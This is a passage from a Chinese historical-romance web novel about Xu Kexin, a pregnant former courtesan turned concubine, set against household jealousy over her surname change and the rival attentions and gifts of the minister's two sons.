临到最后,她瘫软在床边,被清洗干净,才清醒几分,她看着男人的身子,凑上去想要帮他,被攥着手腕抱回他怀里,男人的手臂横在她身前,阻止她的莽撞。 徐可心蜷缩在他怀里,小心道,“大人怎么办?” 话音刚落,男人的手覆在她的手上,握住她的整只手,语气很低,“安分些。” 被不轻不重训斥一句,徐可心不说话了,安静躺在男人怀里。 对方的身体格外温热,挡住幕帘外渗进的冷风,令人心生倦意,她方被照顾一番,身子也有些累。 徐可心寻了个舒服的姿势,在他怀里低语不停,说想让小妹也改姓,还让他不得反悔……她断断续续地说了很多话,男人环着她的腰,漫不经心应着。 徐可心不记得自己何时入睡的,只知晓等她醒来时,男人又同往日那般离开了。 梳妆时,丫鬟告 诉她,昨日二公子从书房离开后,脸色格外难看,本来要离府,但半路被周姑娘拉到正院。 不知同夫人讲了什么,二公子没过多久就出来了,但依旧未留在府中,回了国子监。 徐可心闻言,心跳一滞。 她并不关心林昭明是否同她置气,这人素来阴晴不定,她也无心再去揣测林昭明的心思。 她只是顾虑大夫人,林昭明被叫去正院,大夫人也会知晓改姓一事。 不知道夫人的态度,她的面上也不自觉浮现几分顾虑,去的路上也心不在焉的,害怕夫人会责罚她。 雪压梅枝,落雪伏在地上,随风旋转翻滚,她小心抚着腹部,留心石路上残留的雪块,以免摔倒。 她一路上小心翼翼的,等入了正堂,也垂着眉眼不敢看大夫人,行礼请安后就安静地坐在那里,生怕惹夫人注意。 大夫人看了她一眼,也未主动提起什么。 徐可心躲在那里装鹌鹑,害怕大夫人问起昨日书房的事情,大夫人未提起,三姨娘却突然笑道,“夫人,妾身听闻二少爷昨日回府,说要在府上久住一段时间,可为何又走了?” “丫鬟说,二少爷一脸怒气,好似被气到了,恕妾身多嘴,这到底发生何事了,竟把二少爷气跑了。” 她话里一副关心的口吻,但说话时频频看向徐可心。 徐可心见状,面色紧绷。 昨日她一整天留在书房,这人想必已经猜出林昭明离府和她有关,才有意向夫人提起此事。 她心上郁闷,又不敢在夫人面前说什么,她虽无意气林昭明,但对方离府的确是因为她。 夫人责罚她素来是因为林怀瑾,想必也会因为林昭明责罚她,徐可心垂着眉眼,彻底不敢抬头看大夫人。 三姨娘话语不停,还在那里讲着,问二少爷到底为何离开。 大夫人揉着额心,也未理会她的话,眼也不抬地唤了一声“四姨娘。” 徐可心的心弦霎时绷紧,她小心抬眸,看向大夫人,轻轻嗯了一声。 大夫人的眉眼透着几分烦躁,好似不悦一般,三姨娘见状,眼底露出喜色,也不再开口,坐在那里露出一副看热闹的神色,丝毫没有遮掩的意思。 徐可心害怕得紧,也无暇在意三姨娘,看着大夫人,等她开口。 大夫人揉着额心,良久才放下手,“大人为你改姓,族中长辈也无人会有异议,以后就是林家人,说话做事都留意着。” 话音刚落,未等徐可心说什么,三姨娘倏然站起身,“夫人,什么改姓?妾身为何不明白你的意思?” 大夫人不耐地看了她一眼,也未同她解释,复又叮嘱了徐可心几句。 见夫人没有怪罪她的意思,徐可心霎时放松下来,垂着眉眼专心听她的嘱咐,乖乖应着,不敢出言违背。 夫人不理会三姨娘,三姨娘却快步上前,不依不饶问,“夫人说的改姓到底是何事?谁要改姓……” 她话语急切,站在堂前追问不休,大夫人面色也难看几分。 周姑娘守在一旁,见状开口道,“四姨娘如今入府数月,已经离开教坊司,但仍因过往受人耻笑,大人宅心仁厚,想要为四姨娘改姓,让她成为林家人,三姨娘可听明白?” 周姑娘一番话说得有条不紊,待她说完,在场几人都变了脸色,二姨娘坐在一旁,眸色怔然,抬眸看了徐可心一眼,又垂下眼皮,不知在想什么。 相比较她的平静,三姨娘眸中满是不可置信,她抬手指着徐可心,直接道,“夫人,她过去可是官妓,凭什么姓林?” 她入府数年,陪嫁至林府,成了大人的妾室,但依旧未得大人垂青,没有一儿半女,这人才入府不到一年,怀有身孕也就罢了,现在大人还要为她改姓。 她质问不休,惹得大夫人心烦,周姑娘见状冷声道,“改姓是大人的决定,姨娘若有什么异议,可去问大人。” 三姨娘站在原地,气得面色涨红,她哪里敢去问大人。 在徐可心入府之前,这林府上下,属她地位最低,大夫人掌管后宅,二姨娘虽是妾室,但过去也是李家的千金,死去那女人虽是通房丫鬟,却得大人喜欢。 只有她是二姨娘的陪嫁丫鬟,成为妾室还是大夫人的主意……眼下徐可心入府没多久,大人却要为她改姓。 她如何能咽下这口气。 三姨娘站在堂内,死死盯着徐可心的肚子,恨不得吃了她一般。 对上三姨娘满是愤恨的目光,徐可心紧抿着唇,下意识抚上自己的腹部,如今大人已经允诺会为她改姓,那她便可以姓林,无需顾虑什么,只要听从大人的安排即可。 可这人的目光,为何这般骇人……徐可心微微蹙眉,心底不自觉浮起几分警惕。 第45章 三姨娘站在堂前,好似怨鬼一般盯着她看。 见她仍要说什么,大夫人看了她一眼,令她安分些。 三姨娘得了命令,只能回了自己的座位,胸膛起伏不停,颤着手指端起茶杯一饮而尽。 徐可心看了眼她满是恨意的面色,收回目光,端起一旁的茶杯。 大人提议令她改姓,这人知情后,却将一切矛头对准了她,徐可心不知晓三姨娘的心思,也不想知道她为何恼怒。 过去把怨气撒到她身上的人太多了,好似她是落在地上的软包子,谁都可以踩一脚。 她身不由己,受身份所困,无法为自己辩解,只能任由他们取笑嘲弄,但不能继续同过去那般介怀他们的排斥,对他们的话耿耿于怀。 厌恶憎恨她的人太多了,无论她是否妥协,这些人都不会善待她。她既不会听从林怀瑾的话离府,也不会为了顺从林昭明的心意放弃改姓,眼下更不愿去想三姨娘为何满是恨意地看她。 她蜷缩了很久才开始爬出泥潭,不想再被拖回去。 那几个逃跑被抓回来的人,之后依旧未放弃逃跑,数次想要离开,但总是会被抓回来,一次次靠近自由,又一次次受困囚笼,然后在某一日彻底麻木。 她站在角落,虽未同她们一样逃跑,但她把所有希望寄托在林昭明身上,他一时不来,她就遭受一时的失落,他一日不来,她就遭受一日的失落……长久陷在自己编织的愿景中,最后同那些人一样,彻底麻木。 没有自我受人摆布的木偶人才能一直留在教坊司,才不会早早死去,她翻不过四周的朱红高墙,也带不走小妹,更等不到林昭明。 如林照明所言,早就变得下贱,再不奢求旁人会如何看她,也难以分神去在意旁人的心意。 好的,坏的,她都无暇在意了,只想带小妹爬出泥潭,再也不陷入其中。 徐可心沉默无言,端起茶杯饮了口茶,暖茶顺着唇齿流入肺腑。 茶汤清澈,茶香馥郁,是今年蜀地送来的新茶。 自她入了教坊司后,每日弹琴卖艺,受人管教,甚至吃不上一口热饭,更别提如眼下这般闲适品茶。 她所求不多,只愿往后都如今日一般闲趣无忧。 徐可心盯着杯中茶水,既没有为自己辩驳什么,也未同三姨娘争论,只安静坐在那里。 “如今怀瑾身在北疆,年前才会回京,昭明留在国子监,也说除夕才会回府。” “两人分明都知晓家在何处,但有家不能回。” 话落,大夫人看向她,眼底平静无波,平声问,“我命他们年前回府,不知你可有异议?” 对上她审视的目光,不知为何,徐可心认为她已经知晓两人离府是因为她,心弦下意识紧绷。 她反复斟酌着话,良久才道,“妾身未有异议。” 大夫人看了她半晌,收回目光,“既无异议,此事已定,不日我就会去见大人,令怀瑾返京。” 大夫人说完,未再说什么,揉着额心,命她们退下。 徐 可心素来怕她,见大夫人没有责问的意思,忙不迭起身,匆匆行礼后离开正院。 在她身后,三姨娘站在院前,直直盯着她的背影,紧握手炉,过去春熙斋那贱人不把她放在眼里,如今这人也要爬到她的头上。 改姓,她过去想都不敢想的事情,现在轻飘飘被人提了出来,还是大人的决定。 三姨娘站在原地,望着女人远去的背影,只觉一团火压在心中,恨不得杀了徐可心,才能排解心中的怨气。 这人性子软弱,除了像个卖艺的会弹个琴,还会什么,无非倚仗肚子里的孩子,若她的孩子仍在,也轮不到这人春风得意。 三姨娘直直盯着徐可心的腹部,直到她的身影消失在视野中,才看向随行的小厮,命他给李公子传信,令他入夜前来。 只要她有了孩子,怀有身孕,大人也会这般对她,为她改姓,赏她金玉…… 徐可心如今所得一切,也理应是她的。 听雨阁。 徐可心如今顾及自己的身子,不敢在院外久留,比往日还要小心,生怕磕到碰到,伤到腹中的孩子。 方才在正院,她害怕大夫人,光想着如何应付她,也未留意她的话,现在静下心来,才想起她方才说,林怀瑾去了北疆。 如今方入冬,京中苦寒难耐,想必北疆更甚。 她只知晓林怀瑾离京,不曾知晓大人竟命他去了极寒之地。 想到这人年前就会返京,她紧抿唇,既不想见到林怀瑾,也不让旁人因她在北疆受苦。 心绪乱成一团,怎么也无法排解。 她坐在桌案前,不自觉抚上琴弦,琴音乍惊,徐可心霎时回神,怔愣地盯着身前的琴,轻轻叹了口气。 罢了,长公子回京与否都不是她所能决定的,新春佳节,他也应该回府。 若他不在,大夫人定会介怀此事,责罚于她。 不过……若这人回来,也一定会知晓大人为她改姓的事情,依他的性情,恐怕又会同往日那般极力反对,说着纲常伦理的话,令她离府。 思及此,徐可心的心上不自觉生出几分怨气,不明白林怀瑾为何不能放过她,又为何容不下她。 她本就怀孕,每日胡思乱想,担忧大人不喜欢这个孩子,现在林怀瑾又要回京,她心上忧愁加剧,整日闷闷不乐的,烦忧若是林怀瑾回来了,她该怎么办。 但无论她怎么想,林怀瑾都会回京。 越入深冬,雪下得越大,白蒙蒙地压在京城上空。 她已经开始显怀,腹部隆起,撑着衣服,她每日留在院中,本就鲜少离院,那日深夜撞见三姨娘被吓了一次后,更不愿离开,成日在院中不是叮嘱小妹学琴,就是为她腹中的孩子缝制衣物。 今年的雪下得太大,压毁了京中众多佃户的房屋和大片宅院,本是小事,往年也时有发生,可坏在就坏在,前年刚竣工的朝天楼今年就塌了。 坊间传闻,少帝年幼难当大任,连老天爷都看不过去了,降下雪灾。 本来只是空穴来风,无人在意,但雪越下越大,言借雪势,不日传遍整个京城,民怨四起。 雪灾年年有,只有今年牵扯到少帝身上,只恐有人在暗处借雪言政。 这段时日大人时常不在府中,入了深夜才会回府,每每进门时,徐可心都会闻到血腥气。 大人也未在她房中过夜,好似只是前来见她一面,若她醒着,会坐在床前,问她白日做了什么,身子可有不适。 徐可心攥着他的手腕,知晓他不会久留,含糊回答他的话,男人坐在床前,陪她半晌,待她入睡离开。 若她睡得很沉,便见不到大人,但白日醒来闻着屋内淡淡的血腥气,知晓昨夜他曾来过。 今夜不知为何,男人迟迟未来,她心上担忧,怎么都无法入睡,索性穿上外衣坐在软榻前,盯着桌案上的烛火出神,等他回来。 她枕着手臂,盯着铜台中的烛火,一直等到子时,也未等到大人。 她心口沉闷,忍不住起身,方要命守夜的下人去打探他是否回府时,厚重的踩雪声从屋外传来。 房门被推开,男人身着玄衣,乘雪入门,周身还带着肃杀气,屋外大雪顺风涌进,携着浓郁的血腥气。 好似未料到她还未睡,男人反手关上门,脱下外衣扔到一旁,走上前将她拦腰抱起,向床边走去,语气淡漠,“为何还未入寝?” 徐可心环着的脖颈,轻声道,“在等大人。” 男人身上的衣服被寒意浸透,带着几分冷意,她抬手抚上男人的侧脸,面庞格外冰冷,没有一丝暖意。 林远舟暼了她一眼,未说什么。 今夜他回来得太晚,徐可心坐在温热的软被上,攥着男人的手腕,终于忍不住问他为何才回府。 林远舟站在床前,不仅未回答她的话,反而问她等了多久。 “大人,是妾身先问的。”也理应先回答她的话,徐可心不满道。 林远舟揽着她的腰,抚上她的腹部缓慢按揉,眼也不抬道,“被些许小事绊住了手脚,已经无事了。” 些许小事……徐可心看着男人手腕上的残血,并未相信他的话。 疑心他受了伤,徐可心不管不顾扯住他的衣带,想看他到底是否受了伤。 可方扯开衣带,手腕就被攥住,男人垂眼看她,好似无奈一般唤了声可心。 忽然意识到自己直接上前脱衣的行为多么莽撞,指尖一顿,徐可心的面色红了几分,她面色窘迫,抬眼看向男人,认真解释,“妾身只是想看大人有没有受伤。” 林远舟握着她的手腕,无声看了她半晌,松开了手。 得了准许,徐可心忙不迭脱下男人的外衣,仔细寻找伤痕,却一无所获。 大人身上没有伤口,血腥气又是从哪里来的? 她扶着男人的胸膛,眸色困惑,盯着男人的身体出神,难道是……她的视线不自觉下移,看向男人的裤子,却见不知何时,对方早就有了反应。 徐可心的面色霎时涨红,手指微微蜷缩,正苦恼要不要继续查看时,头顶传来轻声询问,“可心可还满意?” 她抬起头,却见男人垂眸俯视她,眼底情绪意味不明,分明这人未说什么,但她莫名地看出几分情欲在里面。 她默默收回手,装作未看见男人的反应,不解问,“大人身上为何有血腥气?” 林远舟赤着上半身,单穿一条长裤站在她面前,随口说了一句旁人的血。 她方要追问旁人是谁,男人先道,“可还要继续查看?” 他眉眼低垂,眼底水平无波,可目光落在她身上,没有半分偏移,令人难以忽视。 徐可心复又看了眼男人的长裤,知晓他不似面上那般清心寡欲,她垂下眉眼,若无其事地向床里侧爬去,“大人无事就好,天色已深,大人早些回去休息罢。” 她话语不停,向床里侧爬去,可刚膝行几步,脚腕就被紧紧握住。 徐可心身子一顿,就听男人语气没有起伏道,“叛党已尽,今夜为夫留在此处陪可心。” “可心已经心满意足,但为夫还未尽兴。” 男人的话在身后不紧不慢响起,攥住她脚腕的手也顺着小腿不断向上,握紧她的腿弯,不顾她的抗拒,将她扯到床边。 林远舟俯下身,扶着她的腹部,贴着她耳侧轻声道,“四月已过,戒欲之事暂且搁置。” “可心,把腿分开。”他淡声命令。 男人的话在耳边不轻不重响起,徐可心只觉身子一软,面 色窘迫至极,不敢回头去看他。 第46章 自她怀孕后,大人每夜前来她院中,不曾去过旁人那里,而他素来重欲。 徐可心抚着腹部,被他抱在怀里,忐忑地看着林远舟,怕他不知节制,又不忍心拒绝他,怕他去寻旁人。 难言的郁气弥漫在心间,烦躁至极。 徐可心盯着男人的侧颜,胸口格外沉闷,大人为何不是她一个人的大人,为何她不能完全拥有这人,得到他的一切。 大人每日会见很多人,会处理很多事,不会常留在府中,更不会时常陪在她身边,而她只能守在原地,同旁人一样,等他回来。 既不能站在他身侧,也不知晓他的一切。 她方入府时,想要讨得大人的欢心,依附在他身侧,被他养了几月后,又想让他喜欢自己,而如今怀有身孕,有了他们的孩子,她想要的却越来越多。 简单的问候,短暂的关心,没有真情的怀抱,已经不能满足她,她想要更多,想要这人的一切。 她未同人相爱过,不知晓陷入情爱中的人是否要纠结于此。 和林昭明在一起时,他还很小,给她的都是少年莽撞的喜欢,并未喜欢她爱上她,对她的好也只是学着旁人的样子,知道真正的喜欢是什么后,就知道自己根本不爱她。 她等了很久,等到林昭明长大,但未等来他的喜欢。 林昭明说她只知风花雪月,可她直到现在,也不知道真正的两情相悦是何种滋味,她也只是笨拙地学着旁人的样子,对林昭明好,等待他的喜欢,但在这之前,林昭明已经放弃了她。 她唯一的红线方要勾住林昭明,就被林昭明剪断。 徐可心环着林远舟的脖颈,坐在他怀里,在对方轻轻地将她放在软被上时,她抬腿踩在男人的腰腹上,阻止他的靠近,轻声提醒,“大人,妾身如今怀了你的孩子……” 她抗拒不了这人,只能祈求他能怜惜自己和她腹中的孩子,林远舟站在床前,攥住她的脚腕,偏头吻上她的小腿。 温热的呼吸落在腿上,徐可心下意识微微收回腿,林远舟眉眼上挑,看了她一眼,手上力气加重,阻止了她的动作。 林远舟站在床前,只攥着她的脚腕,无声看了她半晌,好似看出她的顾虑,放下她的腿,为她盖好被子后,转身去拿桌案上的衣服。 见他穿衣,徐可心下意识坐起身,攥着他的手腕,“大人……”不做了吗? 林远舟穿衣的动作一顿,闻言看了她一眼,说了声早些歇息,安抚似的揉了一下她的眼尾,推门走入雪夜,独留徐可心僵硬地坐在床上。 她初次怀孕,只想保护她腹中的孩子,不想伤到她,她不知晓是否可以欢好,只想大人能同她一样谨慎……可现在大人走了,并未留下。 难言的失落感攀上心头,她看着微微隆起的腹部,紧抿着唇。 徐可心泄气地躺在床上,盯着虚空,魂也跟在男人身后一起跑了。 一整夜难以入睡,临近天亮才堪堪阖上眼皮。 之后几日,她都未等到大人。 分明那夜说叛党已尽,可以留下来陪她,人却再也未来过。 雪依旧在外面下着,但比往日小了些许,她坐在屋内,实在惦念那人,命下人打开门,坐在桌前望着门外落雪,期望那人今日能来。 方推开门,雪就顺着风涌了进来,落在门旁,她坐在桌案前,勾着琴弦,垂着眉眼,无论如何都笑不起来,胸口沉闷闷,她忽然后悔那夜说出那句话,让大人看出她的抗拒了,但她又的确顾虑腹中的孩子。 徐可心隔着衣服抚上腹部,盯着桌案上的琴弦,只觉一颗心被撕成两半,她很在意大人,但她也很在意腹中的孩子…… 若大人未在她这里得到疏解,总会去见旁的人,大人不是只有她一人。 思绪纷乱如麻,压着她的心口,徐可心看着手中的琴弦,面色满是失落,未留意门外的脚步声。 等来人走到门前,唤了一声姨娘时,徐可心的身子才骤然一僵,她眸色怔然,僵硬转过头,却见许久不见的男人此时突然出现在门外。 男人身着大氅,执着一把伞驻足在门前,目光落在她的腹部上,温声道,“姨娘怀有身孕,不应受寒,还是关门为好。” 话落,他收起伞,就要走进屋内,抬步的瞬间,他又看向徐可心,“不知姨娘可准许怀瑾进门?” 离府数月,这人好似又恢复成初见面时那般疏离有礼的模样,眼下看来,好似没有劝她离府的意思。 但他过去所做之事太过出格,徐可心已经不相信他面上这副正人君子的模样,只坐在桌案上,迟迟未开口。 雪落在林怀瑾的身上,打湿他的鬓角,他只安静站在门前,未再撑开那把伞,任由雪落在他的身上,垂着眉眼看着徐可心,等她的指示。 不知为何,徐可心看出几分可怜的意味。 若林怀瑾质问不休,存心为难她,她倒不会心软,可现在这人安静地站在门外,好似她不开口就不会进来的模样,的确让她忍不住心软几分。 徐可心犹豫良久,才问,“不知公子前来所为何事?”若是再说些什么赶她走的话,她定然不会让这人进门。 好似看出她的顾虑,林怀瑾的手从大氅中伸出,将一个盒子呈到她面前,低声解释,“怀瑾远赴北疆后,得了两件美物,认为其与姨娘格外相衬,于是拿至听雨阁,令姨娘观赏。” 徐可心心跳一滞,疑心他又拿了什么贵重东西,下意识道,“妾身不会收下公子的赠礼,公子带回罢。” 话落,男人手上动作一顿,沉默良久,才道,“只是寻常美物,怀瑾惦念姨娘怀有身孕,易受风寒,才从北疆带至京中。” 徐可心闻言,目光落在他手中的檀木盒上,心上也浮现几分好奇,犹豫良久,才请他进来。 几乎她开口的瞬间,林怀瑾便抬步走进,面上的疏离小心也消失得一干二净,走至她身前,俯视她一眼后,将手中的盒子放在桌案上。 徐可心坐在他身侧,仰头看着身前的男人,心上莫名有种引狼入室的诡异之感,但眼下人已经进来,又不能将人赶出去。 她压下心中的异样,看向桌案上的盒子,却见林怀瑾抚上锁扣,两根长指轻轻一拨,推开盒盖,露出里面的白袄。 徐可心面色不解,抬手抚上了上去,毛皮柔软光滑,毛色明亮,她方要问这是什么,林怀瑾将盒子推到她面前,平声道,“北疆将领冬猎时,射得数只雪貂,送至怀瑾手中,怀瑾惦念着姨娘的身子,命人制得两件雪袄,特来送给姨娘。” 指尖一顿,徐可心抬眸,“公子方才不是说……这是得来的美物吗?”可听他现在所言,这雪袄却是他特意命人制成的。 林怀瑾面色不变,没有解释的意思,眼中也未有被拆穿的心虚,只温声提醒,“既已送到,姨娘不如当即穿上,看这雪袄是否御寒,若不合姨娘的心意,怀瑾再带走也不迟。” 还未等徐可心说是否收下,林怀瑾就一副她一定会拒绝的模样,垂着眉眼满是失落。 徐可心刚到唇边的话又被她咽了回去,她看了眼桌案上的雪袄,又看向沉默着站在一旁的男人,攥着雪袄的手微微用力,斟酌良久才微微点头,“妾身暂且一试。” 话落,林怀瑾抬眼,眼底带着几分笑意,“好啊。” 不见半分失落之感。 “……” 徐可心忽觉自己好似正被对方牵着走,但又寻不到证据,只能在他直白 的注视下,抱着雪袄向里室走去。 她过去也穿过貂袄,但不知是她许久未再穿过这等贵重的御寒衣物,还是旁的缘由,她只觉得身上这件雪袄比她过去穿过的任何一件都要好。 毛色雪白,上身轻盈服帖,几乎穿上的瞬间,便再也感受不到屋内四处渗进的寒风,好似顾及她如今怀有身孕,雪袄下摆格外宽大,完完全全遮盖住她的腹部。 她站在铜镜前,微微转身,仔细打量身上的雪袄,越看越喜欢,抬手抚上外面柔软的皮毛,更觉爱不释手。 徐可心看了良久,才想起林怀瑾还站在门外,快步走了出去,却见林怀瑾坐在桌案上,修长冷白的手伏在琴旁,好似要弹奏,但一直未抚上琴弦,没有擅自碰她的东西。 好似听到她的脚步声,男人抬眼看来,目光落在她的身上,无声看了半晌,未置一词。 林怀瑾直直盯着她但迟迟未开口,徐可心也不自觉紧张几分,迟疑道,“公子,可是有什么不妥?” 话落,林怀瑾收回手,负在身后,温声道,“没有,只是姨娘姿容出众,身着此衣好似瑶池神女,怀瑾一时才出了神,还望姨娘宽恕。” 他话语直白,但语气格外平静,只一本正经地说出她像神女这等轻佻的话,徐可心一时语塞,也不知道再说什么,直愣愣地站在那里。 她不开口,林怀瑾也没有多言的意思,只平静地看着她,等她的下言。 难言的无措感弥漫至心间,正当两人谁都未开口时,丫鬟从院外急忙忙跑了进来,“姨娘,二公子回了府上,正向听雨阁走来,可要回避一二。” 她慌乱说完,才发觉林怀瑾站在屋内,连忙俯身行礼,“奴婢见过长公子。” 徐可心怕林昭明再次上门,特意嘱咐丫鬟,若他前来,就过来禀报,没想到第一次就撞见林怀瑾,被他瞧见。 对上他了然的目光,徐可心面色一红,但眼下林昭明要来,她也顾不得林怀瑾,方要出言请他离开,却听门外传来急躁的脚步声。 未等徐可心回避,同样身着大氅的男人大步闯了进来,手中还拎着一个箱子,见到她的瞬间,目光落在她身上的雪袄上,面色古怪,“你从哪里得来的衣服?” 目光复又落在一旁的林怀瑾身上,林昭明不解道,“长兄,你怎么也在这里?” 林怀瑾站在那里,并未理会他的话。 林昭明面上的闲适一扫而空,目光在两人身上游移,愈发阴沉。 他紧拧着眉,看了眼桌案上的另一件雪袄,又看了眼徐可心身上的衣服,面色微沉,直白问,“长兄……她身上的雪袄是你送给她的?” 他话语很低,带着不加掩饰的质问。 问的是林怀瑾,但目光却落在徐可心身上,直勾勾盯着她,好似在等她的解释。 徐可心眸色微怔,自然察觉到他眉眼间的戾气,下意识慌乱道,“不是,昭明……” 未等她说完,站在一旁的林怀瑾先平声道,“昭明并未猜错,正是为兄所赠。” 话落,徐可心不可置信地看向他,可林怀瑾眸色平静,没有半分无措。 只有林昭明面色阴沉,直直盯着她身上的雪袄。 第47章 林昭明上前,扯住她身上的衣服,半眯眼睛,“他送给你的?” 徐可心本来就不想收下,现在被林昭明质问,心上残余的那点喜欢彻底消失,彻底不敢收下了,“你误会了。” 她说完,挣脱林昭明的手快步向里室走去,匆匆换回自己的外衣,抱着雪袄走出来,却见林昭明阴沉着脸站在那里。 见她出来,林昭明直直盯着她,满是戾气的目光带着几分谴责,好似她是趁相公不在家同情郎私会的负心女一般。 徐可心被自己心上的念头吓了一跳,知晓林昭明根本不会这般想,她快步走上前,将雪袄放回红木盒子里,看向站在一旁的林怀瑾,却见林远舟垂着眉眼,也在看她。 眸色是一贯的平静,并未因她下意识撇清关系的话而露出不满,只站在那里,无声地看着她。 徐可心将盒子拿到他面前,犹豫半晌后,面色窘迫道,“公子,妾身已经见过你所说的美物了,还请公子带回罢。” 她说话时,背对着林昭明,看向他的目光满是希求,希望林怀瑾能带走雪袄。 林怀瑾俯视她,目光落在她无措的脸上,复又看向坐在一侧的林昭明,良久才抬手,接下她手中的红木盒子,“既然姨娘有约,怀瑾便不多打扰了。” 她心上慌乱,听到林怀瑾答应,连忙松开口气。 林怀瑾接过时,不知是不是她的错觉,他的手指划了一下她的手背,温热厚重,徐可心下意识去看他的面色,却见他面色如常,好似只是无心之举。 她疑心自己多想了,收回手,送林怀瑾离开。 林怀瑾执着红木盒子,站在门前撑开伞,踏过门槛后,站在门外拦住她,低声道,“屋外风寒,还请姨娘止步。” 徐可心下意识停下脚步,没有再向前走。 林怀瑾垂眸看了她半晌,越过她看了眼站在屋内的林昭明,同她简单告别后,转身向风雪走去。 几乎他转身的瞬间,林昭明大步向前,直接关上门,砰的一声,强迫徐可心回神。 “你做什么?” “什么我做什么?你和我长兄到底有过什么交情,他为何刚回京就跑来你院中,还送东西给你?”林昭明攥着她的肩膀,冷声质问。 忽然想到什么,他紧拧着眉,“他之前是不是也送过你金银首饰?还因你受父亲惩戒。” 事情已经过去了,徐可心不想再提起,况且林昭明眼下一副质问的口吻,好似是她害了林怀瑾,他要为林怀瑾不平一般。 徐可心挣脱他的手,不想同他过多争执,走至桌案前坐下,背对着他头也不回道,“长公子已经走了,天色不早了,屋外风寒,公子也早些离开罢。” “徐可心,我才刚来,你就要赶我走?” 林昭明快步走至她身前,手臂撑在桌案上,咚的一声,徐可心的心也随之一颤。 林昭明居高临下地俯视她,眼中的戾气毫无保留地展现在她面前,眸色格外阴沉。 眼见他面色不好,仍要说什么,徐可心连忙看向桌案上的箱子,先轻声道,“公子带了何物,为何要放在箱中?” 林昭明本直直盯着她,闻言下意识看向桌案上的箱子,“你管我带了什么。” 徐可心看了眼他阴鸷的侧颜,沉默着没有再开口。 林昭明抬手打开箱子,从里面依次拿出几个匣子,一一摆放在她面前,待上面的东西被拿走,他又从最低层的木阁里拿出一件大氅,放在桌案上。 徐可心坐在一旁,看着满桌案上的匣子,既没敢问他里面是什么,也未敢伸手打开,只攥着袖子坐在那里。 林昭明站在她身侧,见状下意识催促道,“都是我为你寻来的,还不快打开。” 徐可心不明白林昭明为何带了一大堆东西给她,她看了眼桌案角落的大氅,知道木盒里面可能不是什么奇怪的东西,才硬着头皮拿过最近的一个匣子。 她轻轻打开,却见一个血色玉铃铛安静地摆放在里面,她手指一颤,以为这东西是用来驱邪的,下意识扣上匣子,将东西推远。 “只是铃铛而已,还有旁的。” 看出她的排斥,林昭明上前一步,攥着她的肩膀,又打开了余下的匣子,里面无一例外装着各色玉物件,没有同色,好似认定她会喜欢玉器一样,准备了一大堆美玉。 知晓方才那个玉铃铛没有旁的意思,只是恰好是血色,她才松了口气。 林昭明从匣子中拿起一个桃色狐狸玉摆件,呈到她面前,“可还喜欢?” 桃狐狸安静地立在他手中,蜷缩着身子,身后的九只尾巴悬在半空,微微拢着四肢,眉眼上挑,好似有灵性一般,任谁看了,都会夸一句精巧别致。 可偏偏,这东西是只狐狸…… 徐可心迟迟未伸手, 抬眼看向站在一旁的林昭明,若是旁人送她这东西,可能没有别的意思,但林昭明送玉狐狸给她,还是桃色的……免不起让她认为,林昭明在暗示她是狐狸精。 一口郁气霎时闷在心口,徐可心抬手,推开他的手腕,眼也不抬道,“妾身与这物件犯冲,公子拿走罢。” 她面上未露出多少喜欢,林昭明见状也不恼,又拿出一对阴阳双生鱼,“喜欢这东西吗?” 看到他手中的双生鱼,徐可心脸色更难看了。 之前她数次被大夫人赶去道观,早就厌烦了那地方,现在林昭明又拿双生鱼给她,她忍不住抬头,看向站在一旁的林昭明,疑心他此番前来,就是为了折辱她。 不然为何拿血铃铛吓她,又拿桃狐狸骂她狐狸精,现在又拿双生鱼敲打她…… 徐可心坐在那里,越想越委屈,也不想知道其他匣子放了什么东西,微微蹙眉推开他的手,直言道,“妾身说了,与这些东西犯冲,公子快拿走罢。” 好似未料到她会这么排斥,林怀瑾放下手中的双生鱼,眼底的戾气不自觉褪去些许,面色紧绷,“你不喜欢我收回就是了。” 他阖上匣子,复又拿出余下的玉首饰,不似方才那三件奇特诡异,剩下的都是玉佩玉环之类的佩戴之物,中规中矩的,单用来养人。 但徐可心已经认定林昭明拿这些东西就是为了折辱她,无论如何也不看一眼,低垂着头,怎么也不理会他。 林昭明面上方才积压的怒气早就消失得一干二净,俯着身子,语气也不自觉低了些许,“你不是素来喜欢玉器吗?” 不然之前为何随身佩戴他的那块玉佩,格外喜欢,走到哪里带到哪里。 听着耳边的责问,徐可心头也不抬,推着他的身子,“公子误会了,妾身素来不喜欢玉器,也不愿见到这些,既已给妾身看过了,公子还是快些带走罢。” 不然她每看一眼,都觉胸口沉闷一分。 林昭明站在一旁,皱眉看着她,起身收起桌上的玉石,眸色不解,完全不明白徐可心为何改了性子,分明以前她格外钟意那块玉佩。 目光掠过角落里的大氅,他拿过来,推到徐可心面前,“旁人送来的狐皮大氅,入冬天寒,放在那里也无用,不如留给你。” 他语气冷淡,眉眼带着几分不耐,好似不知怎么处理这等无用之物,索性扔给她一般。 徐可心看了眼桌案上的大氅,直接道,“公子嫌这东西碍眼,妾身也不愿收下这东西。” 林昭明拿了整整一箱子的东西,来之前本以为这人会欢天喜地收下,哪想到一件都未入了她的眼,面上终于浮现几分急切,“既不喜欢玉石,又不喜欢大氅,我看你分明就是不喜欢我。” 徐可心被他质问,也不愿再多言,紧抿着唇,浑身透着排斥。 林昭明站在一旁,气上心头,在屋中快步来回走了几步,好似在平复怒气一般,良久后才走到她面前,冷声道,“反正东西已经送到了,你收也得收,不收也得收,大不了扔了就是。” 他话语不停,控诉一番后,直接推门走了出去,砰的一声,房门被骤然阖上,独留徐可心坐在屋内,郁闷地看着桌案上的各色玉石,想要命人扔出去。 她正犹豫时,房门又被打开,徐可心抬眼看去,却见林昭明去而复返,反手关上门,走至她面前,面无表情地俯视她。 她心跳一滞,疑心林昭明又要做什么混账事,谨慎地看着他。 四目对视,就在徐可心不明白,这人到底要做什么时,扑通一声,林昭明忽然跪在地上,攥着她的膝盖,低头贴上她的小腹。 他跪下的动作太过突然,徐可心也被吓了一跳,怔愣地俯视他,连公子也忘记喊了,直接道,“昭明你……” 她下意识抚上林昭明的肩膀,想要推开他,但还未等用力,就被攥住手腕。 男人跪在她腿间,隔着衣服埋首在她隆起的腹部上,头也不抬地闷声问,“你怀孕了?” 徐可心的手腕被攥手,林昭明又贴着她的肚子,徐可心不敢乱动,僵着身子轻轻嗯了一声。 林昭明跪在她身前,沉默良久,复又仰头,黑沉沉的眸子盯着她,“怀的是别人的孩子?” 徐可心垂着眉眼,不知怎么回答他,半晌才道,“不是别人的,是你父亲的孩子。” 